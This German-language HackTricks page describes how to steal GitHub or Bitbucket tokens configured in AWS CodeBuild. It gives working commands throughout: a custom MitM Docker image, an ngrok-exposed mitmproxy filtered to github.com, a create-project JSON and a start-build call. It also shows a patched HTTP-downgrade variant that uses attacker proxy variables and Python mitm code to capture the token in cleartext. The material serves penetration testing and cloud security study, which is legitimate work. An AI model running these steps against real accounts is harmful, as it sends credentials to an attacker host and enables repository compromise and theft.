AWS Codebuild - Token Leakage

Support HackTricks

Wiederherstellen von Github/Bitbucket konfigurierten Tokens

Zuerst überprüfe, ob es Quellanmeldeinformationen gibt, die du leaken könntest:

aws codebuild list-source-credentials

Via Docker Image

Wenn Sie feststellen, dass die Authentifizierung zum Beispiel für Github im Konto eingestellt ist, können Sie exfiltrieren diesen Zugang (GH-Token oder OAuth-Token), indem Sie Codebuild dazu bringen, ein bestimmtes Docker-Image zu verwenden, um den Build des Projekts auszuführen.

Zu diesem Zweck könnten Sie ein neues Codebuild-Projekt erstellen oder die Umgebung eines bestehenden ändern, um das Docker-Image festzulegen.

Das Docker-Image, das Sie verwenden könnten, ist https://github.com/carlospolop/docker-mitm. Dies ist ein sehr einfaches Docker-Image, das die Umgebungsvariablen https_proxy, http_proxy und SSL_CERT_FILE festlegt. Dies ermöglicht es Ihnen, den Großteil des Traffics des im https_proxy und http_proxy angegebenen Hosts abzufangen und das in SSL_CERT_FILE angegebene SSL-Zertifikat zu vertrauen.

  1. Erstellen & Hochladen Ihres eigenen Docker MitM-Images

  • Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse festzulegen und Ihr SSL-Zertifikat einzustellen und das Docker-Image zu erstellen.

  • SETZEN SIE NICHT http_proxy, um keine Anfragen an den Metadaten-Endpunkt abzufangen.

  • Sie könnten ngrok wie ngrok tcp 4444 verwenden, um den Proxy auf Ihren Host einzustellen.

  • Sobald Sie das Docker-Image erstellt haben, laden Sie es in ein öffentliches Repo hoch (Dockerhub, ECR...)

  1. Setzen Sie die Umgebung

  • Erstellen Sie ein neues Codebuild-Projekt oder ändern Sie die Umgebung eines bestehenden.

  • Stellen Sie das Projekt so ein, dass es das zuvor generierte Docker-Image verwendet.

  1. Setzen Sie den MitM-Proxy auf Ihrem Host

  • Wie im Github-Repo angegeben, könnten Sie etwas wie Folgendes verwenden:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Die mitmproxy-Version, die verwendet wurde, war 9.0.1, es wurde berichtet, dass dies mit Version 10 möglicherweise nicht funktioniert.

  1. Führen Sie den Build aus und erfassen Sie die Anmeldeinformationen

  • Sie können das Token im Authorization-Header sehen:

Dies könnte auch über die aws cli mit etwas wie

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Über das HTTP-Protokoll

Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Februar 2023 (ich glaube am Freitag) behoben. Ein Angreifer kann sie also nicht mehr ausnutzen :)

Ein Angreifer mit erhöhten Berechtigungen in über einem CodeBuild könnte das konfigurierte Github/Bitbucket-Token oder, wenn die Berechtigungen über OAuth konfiguriert wurden, das temporäre OAuth-Token, das zum Zugriff auf den Code verwendet wird, leaken.

  • Ein Angreifer könnte die Umgebungsvariablen http_proxy und https_proxy zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel http://5.tcp.eu.ngrok.io:14972).

  • Dann die URL des Github-Repos ändern, um HTTP anstelle von HTTPS zu verwenden, zum Beispiel: **http://**github.com/carlospolop-forks/TestActions

  • Dann das grundlegende Beispiel von https://github.com/synchronizing/mitm im Port ausführen, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen.

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Schließlich klicken Sie auf Projekt erstellen, die Anmeldeinformationen werden im Klartext (base64) an den mitm-Port gesendet:

Jetzt kann ein Angreifer das Token von seinem Computer aus verwenden, alle Berechtigungen auflisten, die es hat, und (miss)brauchen einfacher als die direkte Nutzung des CodeBuild-Dienstes.

Unterstützen Sie HackTricks

Last updated